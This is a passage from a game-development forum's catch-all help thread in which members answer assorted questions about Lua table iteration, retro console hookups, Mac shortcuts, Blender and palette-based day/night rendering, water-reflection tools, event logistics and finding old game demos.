The proper way to iterate a table is to use an iterator like this:

Code (lua) Select


for k,v in ipairs(snowflakes) do
    --k is the index and v is the object
    v.x = v.x + 1
end



ipairs works by stepping through a table from 1 upwards until it hits null so it wont get properties like myTable.x but will work for tables like { 3, 5, 6, 8 } which are similar to arrays.

If you want to iterate through named items like x, y and so forth you can use pairs instead.

Also, when initializing objects you can do this:

Code (lua) Select

local snowflake = { x = 1, y = 2 }


So to rewrite your code with a bit better Lua form:

Code (lua) Select

snspr = love.graphics.newImage("SPR/snow.png")
flake_array = {}

function spawn_flakes()
    for i = 1, 100 do -- lua tables start at 1. Don't force it to start at 0 or weird things will happen with iterators and stuff
        table.insert(flake_array, { x = math.random(800), y = math.random(600) })
    end
end

function flake_update(dt)
    for index, flake in ipairs(flake_array) do
        flake.x = flake.x + math.random(-50, 50) * dt
        flake.y = flake.y + 1
        if flake.y >= 600 then
            flake.y = 0
        end
    end
end

function flake_draw()
    for index, flake = ipairs(flake_array) do
        love.graphics.draw(snspr, flake.x, flake.y)
    end
end


Title: Re: Ask something - We can help.
Post by: Baron on Tue 16/09/2014 02:21:19
Quote from: RetroJay on Mon 15/09/2014 06:58:38
Where has SSH gone?

He's been obsessed with his nation-building campaign lately.... (roll)
Title: Re: Ask something - We can help.
Post by: RetroJay on Tue 16/09/2014 19:41:43
Hi Baron.

Oh! I see.(laugh)
Thanks for the information.

Do you, or does anyone else, know where I can obtain the module 'Pixel-perfect collision detection v1.02' please.
I don't know if it will help with what I'm trying to do, but I would like to try it.

Yours.
Jay. 
Title: Re: Ask something - We can help.
Post by: cat on Tue 16/09/2014 20:12:08
I think Dualnames has a huge collection of modules.
Title: Re: Ask something - We can help.
Post by: RetroJay on Tue 16/09/2014 22:45:28
Hi Cat.

Thanks for that.
I have PM'd Dualnames to see if he can help.

Yours.
Jay.
Title: Re: Ask something - We can help.
Post by: RetroJay on Wed 17/09/2014 20:20:33
Hi Cat.

Just thought that I would let you know.
Dualnames was able to help.;-D

All I've got to do, now, is get it to work.;)

Thanks for your help.

Yours.
Jay.
Title: Re: Ask something - We can help.
Post by: cat on Wed 17/09/2014 20:29:45
Great! ;-D
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 06/10/2014 16:07:26
I'm playing around with Wordpress, and I'm looking for a plugin that provides a "book reader" widget, something along the lines of the Amazon preview popup. In other words, a gallery viewer that displays a series of images (pages) one at a time (with no auto-change), and allows visitors to flip from page to page (or go directly to a particular page). It should be possible to browse in-page (not as a popup), or expand the viewer to full-window or full-screen. Options for scaling, for viewing two pages side-by-side, animating page flips, etc., would be nice.

I've only found ones that are meant for animating image galleries, not something suitable for a reading experience. If anyone could help, I'd appreciate it. (I might even shell out for a commercial plugin if it's good and not too outrageously priced.)
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 15/01/2015 05:02:41
I will be having a booth in the Barbican for the Music Education Expo, in March 12th and 13th. It's rather pricey (around 1000 quid), plus all the tickets, shipping, paying people to be there, etc. Ok.

But I need Internet, in order to have some kind of credit card through paypal payment system.

And if I go the normal way the Internet for two bloody days is 250 GBP! Yes 250!!!!

I find this amazingly expensive, or myself dead cheap, but I really am not sure I can afford that with a happy heart.

So,

If I get some mobile internet, through a 4G or something like that, will it work in Barbican, or will they have barred such services, so I'll be stuck without the Internet? You know some kind of extra device that generates a 4G plus wifi signal to catch with your laptop and use that. It will definitely be cheaper... I can even buy one from Greece from Vodafone, for example and get it working in Vodafone UK, as far as I know.

But will it work? Any ideas?

EDIT: something like this, for example: http://www.vodafone.co.uk/shop/dongles-and-mobile-wi-fi/index.htm

I'd guess that they will have barred such services inside the building, since they will want to sell Internet connection, but COME ON!!! 250 quid?!?!?
Title: Re: Ask something - We can help.
Post by: on Thu 15/01/2015 05:12:19
Quote from: Nikolas on Thu 15/01/2015 05:02:41
I'd guess that they will have barred such services inside the building, since they will want to sell Internet connection, but COME ON!!! 250 quid?!?!?

Barring 3G seems not doable, but quite unfortunately there is a massive deterioration of signal inside buildings (plus the amount of folks there trying to connect to 3g...).
If you need a connection to have a payment system, it seems a risky idea to me to rely on 3g.
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 15/01/2015 05:21:01
It's 4G according to Vodafone and it appears that there is a strong signal there... :-.

But you're right. It's quite risky. On the other hand 250 is simply too much at this point! :( I'm quite torn.

Thanks though...
Title: Re: Ask something - We can help.
Post by: on Thu 15/01/2015 06:09:27
Quote from: Nikolas on Thu 15/01/2015 05:21:01
It's 4G according to Vodafone and it appears that there is a strong signal there... :-.

But you're right. It's quite risky. On the other hand 250 is simply too much at this point! :( I'm quite torn.

Thanks though...

It might be pedantic, but let's go through this in an analytical fashion:


EP = expected revenues on those 2 days (if you have a reliable connection)
PC = pricey connection costs (250)
GC = 4G connection costs
PF = probablility that 4G will fail (our 'x')

        scenario 1 (shell 250 quids): EP - 250
        scenario 2 (rely on 4g):      (1 - PF) *  EP - GC

        break even: EP - 250 = EP - PF*EP - GC
                    PF*EP = 250 - GC
                    PF = (250 - GC) / EP


Your task is to estimate quantities on the right hand side of the equation.
So, as an example, if you think you can make 2000£ in these 2 days and the 4G connection will cost 50£, break-even PF is 10% (which in turn means: if you think there is at least a 10% probability of things going banana with 4G, you should pick the safer option).

Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 15/01/2015 06:32:50
LOL

It's a bit more complex than that since I have to calculate shipping costs of the items to sell. I live in Greece, so that's a costly option! ;D. Which means that I simply can't go around London with all my scores (Which count to 10s of thousands at this moment). Sadly I'm not in London anymore, in which case things would've been simpler.

But still thanks and I see what you mean, I really do!
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 15/01/2015 07:07:48
Problem solved, just in case someone else is interested... I asked a friend who was there last time and she, indeed, tried the dongle, only to get it blocked in like 5 minutes.

So the only solution is the 250 quid... :-/

Time to dig deeper in my pockets!
Title: Re: Ask something - We can help.
Post by: Queen Kara on Thu 15/01/2015 08:40:28
I play a lot of "casual" games as well as what might be considered non-casual type games. Depending on the creator , they are usually beautiful and fun - ( well if you love puzzles ) - games. I really love the art and stories in such games but I get annoyed and frustrated easily with puzzles , thankfully there's almost always an "easy" mode for players like me who just want to see what happens next and hints can be recharged quickly in some games. I love games with hints and guides you can access within the game itself. A lot of these games have female protagonist , another reason for my love of them.

I disagree there's no "pixel hunting" involved , in fact it is the core of HOGS , FROGS , ect. ( hidden object , fragmented whatever object scenes , hidden object scenes , ect. )

bigfishgames and other places are where you can find most, if not all ,  of these kind of games.

The downside is sometimes there may be a problem with a game and that problem never gets fixed. But if you have the latest computer , updated drives , latest software , ect. most games should run fine on your machine. It's just really only a small handful thus far that I've had any serious problems with and unfortunately two of the coolest games in my opinion have some major issues - The ending of a certain vampire game ( love is a cure or something like that , I will find and post proper title later ... ) and the Dorian Gray game.

I will update my post and say more about such things here later...

As for my own situation , I once found a "blog" of online generators - ( fantasy related ) - the logo is a beetle / bug looking thing and the site or blog name is some weird thing I can never remember , despite it being a really unique name. It starts with an A. I'm trying my own google searching of it but so far no luck. Does somebody have any idea what I'm talking about? One of the generators there is a list of "useless" items.
Ugh, I wish they had given it a better and easier to remember name. *crying because she's not having any luck finding it*
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 12/02/2015 22:24:24
So, yet another semi--silly question from me.

As I said, I'm coming to London in a month for the Music Education Expo. And I'm invited in an awards ceremony, which is a black tie.

I do NOT have a black tie formal wear. I have a great very dark grey suit, with a brilliant shirt and tie, but that's not the formal take on what a "black tie" is, right?

My problem is that I'm quite fat now and not sure I'll be able to find a place to rent a black tie wear, plus I am very limited with time (and money)... So my question.

Would it be out of the question to wear something classy (the suit I mentioned) in a black tie evening? Or will I be seen like a total jackass?
Title: Re: Ask something - We can help.
Post by: MiteWiseacreLives! on Wed 18/02/2015 07:42:48
I believe that would be Formal Wear that you hope to wear.
But.. this is a music expo awards ceremony, full of artists I would presume, therefor wear whatever you want many others will do so as well.
You will look just non-conformist enough not to be a jack-ass, IMHO.
Title: Re: Ask something - We can help.
Post by: cat on Wed 18/02/2015 11:39:47
Are you going to receive an award or are you just there as a guest? If you are just a guest, you might get away with a black(!) suit. But if the invitation says explicitly "black tie" you will have to wear a tuxedo.

Are there any pictures of last years ceremony? This might give you a good idea of what to wear.

Edit: take a look here http://www.musiceducationexpo.co.uk/gallery/music-teacher-awards-2014-photos/ (http://www.musiceducationexpo.co.uk/gallery/music-teacher-awards-2014-photos/)
While many people wear a tux, you will probably get away with your suit if it is very dark gray.
Title: Re: Ask something - We can help.
Post by: The Morning Tree on Mon 02/03/2015 23:25:25
Hi.  This might seem like a ridiculous question which I should have found in le manual, but unfortunately, I'm not really sure about where to look.

So, the dealio is...

In terms of making a room, how big should the canvas be, generally?

And same with a standard sprite?

I just want a general idea of sizes to work with.

Thanks!
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 25/06/2015 09:30:30
Perhaps you guys know... (before I go about asking the companies and such)...

You know the game "Cave Story" ( http://www.cavestory.org/ )

The game was developed by Daisuke "Pixel" Amaya ( https://en.wikipedia.org/wiki/Daisuke_Amaya ), but is was later developed for wii, and steam by Nicalis.

Who holds the (copy)rights for the music? Is Pixel a part of Nicalis? Should I contact him, before contacting Nicalis? Any ideas?

Thanks ^_^
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 15/08/2015 09:18:08
SNES/Super Famicom woes.

My girlfriend and I have just brought a top-of-the-line, new-fangled SNES-Box, but can't get it to work. I'm plugging the multi-out AV cables into their respective red, white and yellow slots on the TV, and choosing the correct input mode on the TV (and to make sure, I've tried it with all the other modes too) but nothing is showing. I've tried it on two TVs, both those relatively modern small LCD flat screen types, but no luck. Is there an extra step we need to do, maybe in the TV settings, or do we need a different kind of cable or a new older TV?

(And yes, the SNES is plugged in and turned on.)

Cheers.
Title: Re: Ask something - We can help.
Post by: Wyz on Sat 15/08/2015 13:59:36
Hmmmm, so you don't have sound either? That should at least work. You can even try plugging the RCA (tulip) plugs in a sound system; if it doesn't do anything there probably is something wrong with the box.
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 15/08/2015 14:20:55
Quote from: Wyz on Sat 15/08/2015 13:59:36
Hmmmm, so you don't have sound either? That should at least work. You can even try plugging the RCA (tulip) plugs in a sound system; if it doesn't do anything there probably is something wrong with the box.
yeah, no sound either. You're the 2nd person to mention 'the box'. The first guy who said it I assumed meant 'the TV' but you're obviously talking about a different box. Perhaps this magic box is what ai am missing to make it work?
Title: Re: Ask something - We can help.
Post by: MiteWiseacreLives! on Sat 15/08/2015 15:16:38
It might be that your LCD screens are made for digital input only and the SNES was an analog output I am pretty certain. Try an older TV.
Title: Re: Ask something - We can help.
Post by: Khris on Sat 15/08/2015 16:41:50
Stupot, I'm pretty sure that by "box", Wyz is referring to the SNES itself (you even called it SNES-Box yourself). I also think the SNES is the problem.

If a TV has RCA sockets, it should expect an analog signal, not something else, and thus be able to display at least something resembling an image.
But you can try a SCART adapter, if the TV still has a SCART input.
Title: Re: Ask something - We can help.
Post by: ManicMatt on Sat 15/08/2015 20:35:14
Might sound patronising but.. are you aware the snes won't show anything unless a cartridge is inserted? And sometimes the carts get dusty and need "blowing".
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 15/08/2015 23:44:42
@Khris - The reason fort confusion over the word 'box' is this piece of advice from my friend over Facebook:

QuoteMaybe you need to plug into the console rather than the box?

Besides, I've got one end in the SNES and one end in the TV. What could he he talking about?

Re: what you said about the TV expecting analog input if it has RCA sockets. I would expect this too, but the sockets come under 'input 4' on my TV's list of possible inputs, and on the TV settings there is no way to change 'input 4' to analog, so I think this is the reason. The only mention of 'analog' on the whole setup is on 'input 5' which is just one socket.

I am going to buy an RF cable and try that instead. If that doesn't work then maybe the SNES is broken, but as things stand I just think it's in the TVs setup.

@Matt - I was a kid in the 80's so blowing into the cartridge is the first thing I tried.
Title: Re: Ask something - We can help.
Post by: ManicMatt on Sun 16/08/2015 18:32:07
It's just, in my experience with working with Snes consoles at work, they very rarely had faults, it was always down to the connectors on the games or inside the unit.
Title: Re: Ask something - We can help.
Post by: portableTaco on Mon 17/08/2015 00:40:19
I'm also chiming in that it sounds like your snes could be broken.  You said new fangled snes-box? Is it a knock-off? Did it actually come new in a box or was that just a joke? Sorry it may sound stupid but I worked in tech-support so I'm just making sure you actually bought an old snes from somewhere or if you actually bought one of those new fangled knock-off snes-units that they make now.  I can't really comment on those new knock-offs, but an original snes will absolutely work with RCA on a digital TV.   And like Wyz commented, you should be able to plug the sound in (white and red are stereo sound, yellow is for video), and at least hear something if it's working at all.

Also, aren't all RCA inputs analog? My TV is one of those brand new digital-types but it has RCA inputs, and they take whatever RCA stuff I plug into them, old or new. I didn't think it mattered.

It's probably obvious but here's a little handy guide:
http://www.gametrog.com/GAMETROG/HOW_to_connect_Hook_Up_Super_Nintendo_SNES_system_1.html

It's also possible if your unit is used, that your RCA adapter is bad, and not necessarily the snes itself.   Does the snes power light come on?
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 17/08/2015 01:56:01
Thanks for the ideas but it's still not working.
It's a real SNES (well, strictly it's a Super Famicom, as I'm in Japan).
It may well be the SNES but I bought it from Hard Off (a recycle shop in Japan and they said it was tested and working, which I want to believe for now. I don't want to take it back to the shop until I can at least eliminate all other factors).

I will buy an RF cable and try that instead. If it still doesn't work then it definitely is a broken SNES, but I really do think it's something else to do with the TV, for now. I think I will take it to work with me tomorrow and try it in the old tv they've got in the office. That will tell me once and for all if Ive bought a dud.
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 22/08/2015 10:51:38
Just an update on the Famicom situation. We got it working. Or should I say, it just started working, after we'd taken it back to the shop only for them to deny us a refund because it worked on their TV. So we got it back home, tried again and it worked straight away. It has gone blank again a few times while we've been playing it, leading us to conclude that the video cable is damaged or something. I'll buy a new one and hopefully that will sort it out once and for all :-)
Title: Re: Ask something - We can help.
Post by: portableTaco on Sat 22/08/2015 17:32:20
Aha! I suspected a video cable might be it.  When it cuts out during game-play, does it come back on and your game resumes? If so it's definitely gotta be the cable.  If on the other hand when it cuts out you have to restart the system itself, it might be a faulty something-or-other inside the machine which would be something else. 
Title: Re: Ask something - We can help.
Post by: Snarky on Sat 12/09/2015 19:08:16
I'm trying to track down a science fiction story I read once.

The story is similar in theme and content to The Forever War, but that's not it. (For one thing, this is a short story.)
Spoiler
It is told from the point of view of a soldier who's stuck in an endless war against an unknown enemy. There's been some kind of rip in space-time, I think, and humanity is trying to fight whatever is on the other side. However, in the no-man's land around this rip, there are time-dilatation effects, so that the closer you get, the slower time passes for you relative to the rest of the world. Hence, for anyone on the front lines, decades or centuries have passed whenever they go on leave, and technological progress keeps supplying ever more powerful weapons. However, they can never get the upper hand over the enemy, who seems to match them step by step. At the end, the soldier is speculating about what the time gradient might mean as you reach the "horizon", and wonders how the war started: for example, a farmer in a field throwing a rock behind his back, only to be hit in return. It's suggested, but never explicitly proposed, that there might not be any enemy, just humanity's own attacks reflected back by some physical anomaly.
[close]

At first I thought it might be Ballard, but I couldn't find it in any of his collections. Now I have no idea; seems like it could be pretty much anyone.

Edit: And literally a few seconds later, I finally find the right Google search ("science fiction time gradient war") to get me the answer (http://forums.abebooks.com/discussions/AbeBookscouk_BookSleuth/Science_Fiction/Everlasting_war_against_a_time_barrier/abeSleuthUK/4691.1?redirCnt=1&nav=messages): "Traveller's Rest" by David Masson. Available to read here: http://www.lightspeedmagazine.com/fiction/travellers-rest/
Title: Re: Ask something - We can help.
Post by: Andail on Sat 12/09/2015 19:19:51
Nice, Snarky, thanks for the tip.
Title: Re: Ask something - We can help.
Post by: on Thu 24/09/2015 23:44:55
Hi! Does anyone have any experience with FL Studio, music creation? I have an issue, let's say I play a note with a particular instrument in the piano roll. This is fine. But then let's say I want to go over that section again, do not use the same note - but for some reason it overwrites/removes the first note that I played replacing that section of the piano roll with the new recording.

In other software it would never remove/replace notes already there, it would either double them up or of course, providing I didn't play that same note, just write the new data over the top.

If you have any clues as to why this might happen or how to stop it from doing that, please let me know! Thank you :)
Title: Re: Ask something - We can help.
Post by: Wyz on Sat 26/09/2015 23:08:23
You need to enable 'Blend recorded notes' from the options menu; or just hit Ctrl+B :)
Title: Re: Ask something - We can help.
Post by: on Sun 27/09/2015 12:03:25
Good call, thanks Wyz! Such a simple solution ;D
Title: Re: Ask something - We can help.
Post by: Tournk on Tue 06/10/2015 14:12:41
Hello, any suggestion on where can I upload my avatar? I tried Gravatar but Google says it might be hacked so I didn't bother. Also, does the site requires signing up?
Title: Re: Ask something - We can help.
Post by: Babar on Tue 06/10/2015 17:48:14
Quote from: Valent Jaineshon on Tue 06/10/2015 14:12:41
Hello, any suggestion on where can I upload my avatar? I tried Gravatar but Google says it might be hacked so I didn't bother. Also, does the site requires signing up?
Why not try http://imgur.com/ ?
Title: Re: Ask something - We can help.
Post by: Tournk on Thu 08/10/2015 12:52:26
Okay, thanks Babar.
Title: Re: Ask something - We can help.
Post by: cat on Wed 21/10/2015 13:22:12
Has anyone experience with flying to/from London Stansted? I've heard it is not so convenient to get there by public transport, but the flights are super cheap and at convenient times. Is is better to go there by bus or train?
Title: Re: Ask something - We can help.
Post by: Kumpel on Wed 21/10/2015 13:31:09
I took the bus several years ago to get to London city center (not fastest but cheapest way). And yes it's really cheap to fly from/to there but it's not that hard to move on from there. It's actually well connected. I guess Ryan Air wants to make it as attractive as possible for more price conscious clients...
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 23/12/2015 05:06:27
Mac users:
What's the safest way to uninstall a game from this Mac? They don't seem to have the dedicated uninstall feature that Windows PCs have. I've done a search online and a lot of folks say you can just drag it to the trash can, but I wouldn't dream of doing that in Windows if I could properly uninstall it.

Cheers.
Title: Ask something - We can help.
Post by: straydogstrut on Wed 23/12/2015 08:12:18
That's actually the Mac way of uninstalling software. You can just drag the app's icon to the trash. Note this is the main app icon, usually found in your Applications folder. If you drag the one from the Dock you're just deleting the shortcut to launching that app. Rather counterintuitively, you also unmount drives the same way: by dragging them to the trash (the icon will change to an eject symbol). If you're not worried about any supporting files such as preference files that may remain, then you're done.

Otherwise you want to look for the Application Support folder in your user Library folder (normally /users/your user name/Library/ if location hasn't changed in the latest OS) and manually remove the associated files. Good explanation of this here -  http://www.cultofmac.com/90060/how-to-completely-uninstall-software-under-mac-os-x-macrx/ - though I would avoid the last part about kernel extensions. Just don't go deleting everything willy nilly..

I actually use CleanApp - http://www.syniumsoftware.com/cleanapp - to ensure an app is (supposedly) fully removed. However, unless your Mac is getting slow you can pretty much live happily in ignorance just dragging apps to the trash.

EDIT: I just realised you said 'game'. Same as above but if it's via Steam then remove it that way. If it's via the MacAppStore you can likewise remove it from the Updates tab there, or by clicking and holding on the icon in LaunchPad until it jiggles then clicking the X to remove it.
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 24/12/2015 00:25:42
Cool, thanks Stray. I'll try what you say. I'm okay with computers but Macs make me feel totally useless. Some things you just come to expect, like an uninstall option, a right mouse button and a key each for backspace and delete. Haha.

Anyway, nice to see you around man. Don't stray too far next time :-)
Title: Ask something - We can help.
Post by: straydogstrut on Thu 24/12/2015 17:26:07
Quote from: Stupot+ on Thu 24/12/2015 00:25:42
Some things you just come to expect, like an uninstall option, a right mouse button and a key each for backspace and delete. Haha.
Control-click for right mouse button or - if your mouse supports it - change to two button mode in Preferences.

I don't really use delete but apparently:

fn + backspace
Deletes the characters to the right of the cursor.

âÅ'Â¥ option + backspace
Deletes the first word on the left of the cursor.

âÅ'Ëœ cmd + backspace
Delete a complete line or paragraph on the left of the cursor. It can also be used for removing files.

Goodness next you'll be wanting a PrntScrn key[emoji6]

(it's Cmd-Shift-3 or Cmd-Shift-4 depending on whether you  want the whole screen or just a part. Have to admit I have trouble remembering which is which)

Quote from: Stupot+ on Thu 24/12/2015 00:25:42
Anyway, nice to see you around man. Don't stray too far next time :-)

Thanks for the kind words. I hope to be more present in 2016
Title: Re: Ask something - We can help.
Post by: Gurok on Thu 24/12/2015 23:24:54
Quote from: straydogstrut on Thu 24/12/2015 17:26:07
(it's Cmd-Shift-3 or Cmd-Shift-4 depending on whether you  want the whole screen or just a part. Have to admit I have trouble remembering which is which)

Just to highlight how with-it Macs are, this is the same function key set for which Apple+Shift+1 and Apple+Shift+2 eject the floppies.

I would be happy if someone could tell me where the insert key (or equivalent function) is on a Mac.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 13/01/2016 13:41:25
Blender : how to render for pixel-art but still with a tiny bit of softening?


We're currently struggling with one step in the rendering process, and we don't have sufficient knowledge of Blender to resolve this.
Basically we need to render at a final resolution of 320x200, and the rendering needs to meet the two following requirements:
1. needs to have a tiny bit of antialiasing so that the rendering is not as ugly as pure "nearest neighbour",
2. ...while not being some blurry, dirty antialiasing
Additionally, the outline of the rendred sprites should be perfectly crisp so that the transparent parts are preserved clean. (you know: no dirty pink pixels around).

I thought of asking our 3D artist to render the scene in 640x400 and then apply a nearest-neighbour 50% downscale in the last minute of the rendering -- that usually does wonders in pixel-art. But even that, we don't know how to do in an automated way.

--> Do you know how to do exactly that, or would you have some better process to recommend?

Any Internet resource would be approeciated. I couldn't find any, apart from "pixel art tutorials" which mostly focus on cell-shading, but not on resolution issues.
Title: Re: Ask something - We can help.
Post by: Kumpel on Wed 13/01/2016 13:51:40
That down scaling trick makes perfectly sense to me. automation-wise maybe the tool "batch conversion/renaming" of the grahic viewer http://www.irfanview.com/ (http://"irfanview")
could help you. In there you can change the resizing process in detail, put the whole folder of bigger rendered pictures in and get the smaller version with one mouse click.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 13/01/2016 15:57:53
Quote from: Kumpel on Wed 13/01/2016 13:51:40
That down scaling trick makes perfectly sense to me. automation-wise maybe the tool "batch conversion/renaming" of the grahic viewer http://www.irfanview.com/ (http://"irfanview")
could help you. In there you can change the resizing process in detail, put the whole folder of bigger rendered pictures in and get the smaller version with one mouse click.
I'm almost certain there's a way to do that directly in Blender, as some sort of post-processing step. I've seen similar things in the "video encoding" part of Blender.


EDIT: What we were looking for is compositing. It allowed us to play with the rendered video after it's rendered.
Title: Re: Ask something - We can help.
Post by: Scavenger on Tue 19/01/2016 22:57:56
I'm doing some palette magic, and I want to have a day/night cycle. What's the best way to simulate sunset/night by changing RGB values? I know that, at night, blue light is affected the least and red light is affected the most, and I want the player to be able to see what they're doing (so I can't just blanket darken everything until it's pitch black).

What would be the best way to simulate the reddish hues of sunset, the blue caste of night, and a pinkish hue in the morning? I can interpolate between them, but I don't know what kinda formula I should be using on the colour channels.
Title: Re: Ask something - We can help.
Post by: Snarky on Wed 20/01/2016 00:22:30
This is a really interesting question, and one I looked into (though not very thoroughly) when I was putting together my Day/Night module demo. (I found it difficult. The basic Photoshop filters I experimented with did not give particularly good effects.)

If you think of it from a physics POV, the color of something is determined by the light that hits it as well as its particular absorption and reflection characteristics. I would guess that you can probably approximate that pretty well by just multiplying the color of the light with the "color" of the object, perhaps after suitable calibration.

So as a first approximation, I would use a multiply formula, using a shifting light color. Since our eyes tend to compensate for light intensity, I wouldn't vary the brightness all that much. I might also treat the sky separately, perhaps designing a few color ramps manually and interpolating between them. (If you want an example, Cryo's Dune has beautiful day-night fades.) The color of the light is mainly determined by the color of the sky, so you could even derive the color to use for the palette multiplication from the average hue of the sky.

Secondly, you might want to incorporate the Purkinje effect (https://en.wikipedia.org/wiki/Purkinje_effect): in dim light we perceive blue more clearly than other colors, so e.g. reds will appear to darken more. I think this will go a long way to give it that spooky night-time look.

BTW, apparently sunrise and sunset look pretty much identical, subject to atmospheric conditions. The perceived difference is psychological more than actual.
Title: Re: Ask something - We can help.
Post by: Scavenger on Mon 25/01/2016 05:17:00
Thanks Snarky! I tried out your suggestion and it works perfectly! It looks incredibly pretty and using a multiply layer really helps to maintain the luminosity of the colours! That's way better than what I had before!

On a different note, though, is there anyone who can speak Hawai'ian, Samoan or another of the Polynesian language family on these forums? I need some help translating some names, I can't seem to find the right words myself.
Title: Re: Ask something - We can help.
Post by: Kumpel on Mon 25/01/2016 11:07:55
Please delight us with a gif or youtube video of your outcome in the critics lounge! 8-0 I would love to see a pretty pixel art day/night cycle
Title: Re: Ask something - We can help.
Post by: LimpingFish on Thu 11/08/2016 00:26:31
Right! Hello, I was wondering if somebody could help me find a way to obtain the "InterPoser Pro 1.9.x (or above)" plugin for Cinema4D. The author has vanished from the face of the web, and nowhere (and I mean nowhere) seems to have information about if or when the plugin will ever be available to purchase again. It...it boggles the mind! Google searching just results in dodgy keygen sites, Russian torrents, and old threads on CG forums which amount to little more than people shrugging their shoulders.

If anybody has any info (please don't post warez links or illegal uploads) about it, please let me know.
Title: Re: Ask something - We can help.
Post by: selmiak on Thu 11/08/2016 07:55:00
Searching the german googlenet I found this german shop:
http://www.software3d.de/interposer-pro.html

I have never used this shop or heard of it before, no idea if they are legit or just want to steal your c4d serial number, at least they ask for the first 11 digits of the c4d serial and seem to have a lot more 3D stuff in stock. webtranslator + brain + paypal could work here ;)
Title: Re: Ask something - We can help.
Post by: LimpingFish on Thu 11/08/2016 22:13:46
Cool! They seem pretty legit, but it wouldn't hurt to send them an e-mail.

Thanks a bunch! :-D
Title: Re: Ask something - We can help.
Post by: Snarky on Thu 11/08/2016 22:52:46
"Entschuldigung, are you scammers? Ja/nein"
Title: Re: Ask something - We can help.
Post by: selmiak on Fri 12/08/2016 14:57:35
np. Just for your interest, they ask for your serial to make sure you can even use the product, as this plugin only works up to Poser 9 and Poser Pro 2012.
Title: Re: Ask something - We can help.
Post by: MiteWiseacreLives! on Tue 06/12/2016 03:16:59
So I live in a rural area and I'm trying to decide on an Internet provider upgrade.
I have satellite internet now, it's ok.
Looking at either radio broadband or cellular hub (way better pricing on this lately)
Question is what kind of speeds can I expect from cell network? Is it consistent?
Can't find much good information on this.
I can get up to 4bars at my house.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Mon 12/12/2016 14:59:28
Quote from: MiteWiseacreLives! on Tue 06/12/2016 03:16:59
So I live in a rural area and I'm trying to decide on an Internet provider upgrade.

Sorry to hijack your question MiteWiseacreLives but I have a question too.

Has anyone ever used the utility Sqirlz Water reflections"

It's a cool little standalone utility to generate animated water reflections in a still image. If you never heard of it, then good for you, you learnt something today, but that's not what I want to ask ;)
My question is : Have you ever managed to generate a reflection when there's a foregound and a background?

Let's take this image :
[imgzoom]https://68.media.tumblr.com/f80f11589afe89634f4c55eb6c2b41af/tumblr_oi2ujgvSqN1tsfksfo2_500.png[/imgzoom]

I want to generate this :
[imgzoom]https://68.media.tumblr.com/2a3f7bf58c8cd776ee50884d5c575eeb/tumblr_oi2ujgvSqN1tsfksfo1_500.png[/imgzoom]
Notice how the reflection of the background moutains start at their base, while the reflection of the foreground island starts at its base. It wouldn't work if the reflectio of the island started as high up as the mountains' base.

Attempt #1 :
(the red outline is the reflection area, as defined in Sqirlz)
[imgzoom]https://68.media.tumblr.com/6c453cdf2a802bcbc32168c295367315/tumblr_oi2ujgvSqN1tsfksfo3_500.png[/imgzoom]
This doesn't work because the software apparently doesn't like non-convex shapes. It breaks the reflection.

Attempt #2 : (using a baseline)
[imgzoom]https://68.media.tumblr.com/7911e2ad63240c069065993cdb1f3fe8/tumblr_oi2ujgvSqN1tsfksfo4_500.png[/imgzoom]
This doesn't work because the baseline for the island is inside the reflection outline (the red outline)


So, does anyone have an idea?

=========

EDIT

For anyone interested, here's a clever answer by Grundislav

Quote from: Grundislav link=action-profile;u=19 date=1481561624
I would recommend would be playing around with your background a bit and making a version to generate your reflection. In this case, you want the reflection of the island to show up more towards the bottom of the screen, so I would push it up in your reflection background like so.

(http://i.imgur.com/TiXBgnh.png)

Then when you define the rectangular reflection area in the water, it will look like this:

(http://i.imgur.com/Nqpm8fG.png)

It might take a little playing around to get the base of the reflection and the base of the island in your original background to line up, but this is the best way to do it.  One way would be to use a walk-behind to cut out the area of water above the upside down island, but I think the easiest way would be to actually have your island as a separate room object and just place it over the water reflection.
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 12/12/2016 15:09:13
This is the typical case where you bump into the Sqirlz limitations. Best I can think is to make two animations: one without the rock and one with, and stitch them together in Photoshop.
Title: Re: Ask something - We can help.
Post by: Firgof on Mon 12/12/2016 15:16:04
Have a curious question.  If I'm remastering one of the games I've already put out -- should I retitle my former release thread and rewrite descriptions/put in art to match the new title and such, or should I make a new thread?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Sun 12/02/2017 15:44:07
Anyone still has the "Raiders of the Lost ark : Tanis" demo? (In English, if possible, but I'd still like to get the Spanish version if it's the only one available)
I actually seem to recall that there were two demos but I'm not sure. One of them was the opening jungle scene for sure.

Literally everything related to this project has disappeard (hosted images, domain name, etc.)

Title: Re: Ask something - We can help.
Post by: Kumpel on Sun 12/02/2017 20:40:43
I found a way to download the spanish demo of that jungle scene via the waybackmachine: here is the link:

http://web.archive.org/web/20120306132759/http://www.teckelstudios.es/files/ROTLA%20DEMO%20Setup%20(spanish).exe

Have you found any broken links to the english demo? Maybe this way you can get them too.
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Sun 12/02/2017 21:02:04
OT: Nice to find my website in there... (laugh)
Title: Re: Ask something - We can help.
Post by: NickyNyce on Mon 13/02/2017 01:45:40
I want to buy photoshop but I noticed that there are lots of different versions. I'm only basically interested in doing some pixel art and painting backgrounds, layers and that sort of stuff. Pretty basic and simple things. Is there a certain version I should lean towards and others I should avoid?
Title: Re: Ask something - We can help.
Post by: Babar on Mon 13/02/2017 03:26:41
Quote from: NickyNyce on Mon 13/02/2017 01:45:40
I want to buy photoshop but I noticed that there are lots of different versions. I'm only basically interested in doing some pixel art and painting backgrounds, layers and that sort of stuff. Pretty basic and simple things. Is there a certain version I should lean towards and others I should avoid?
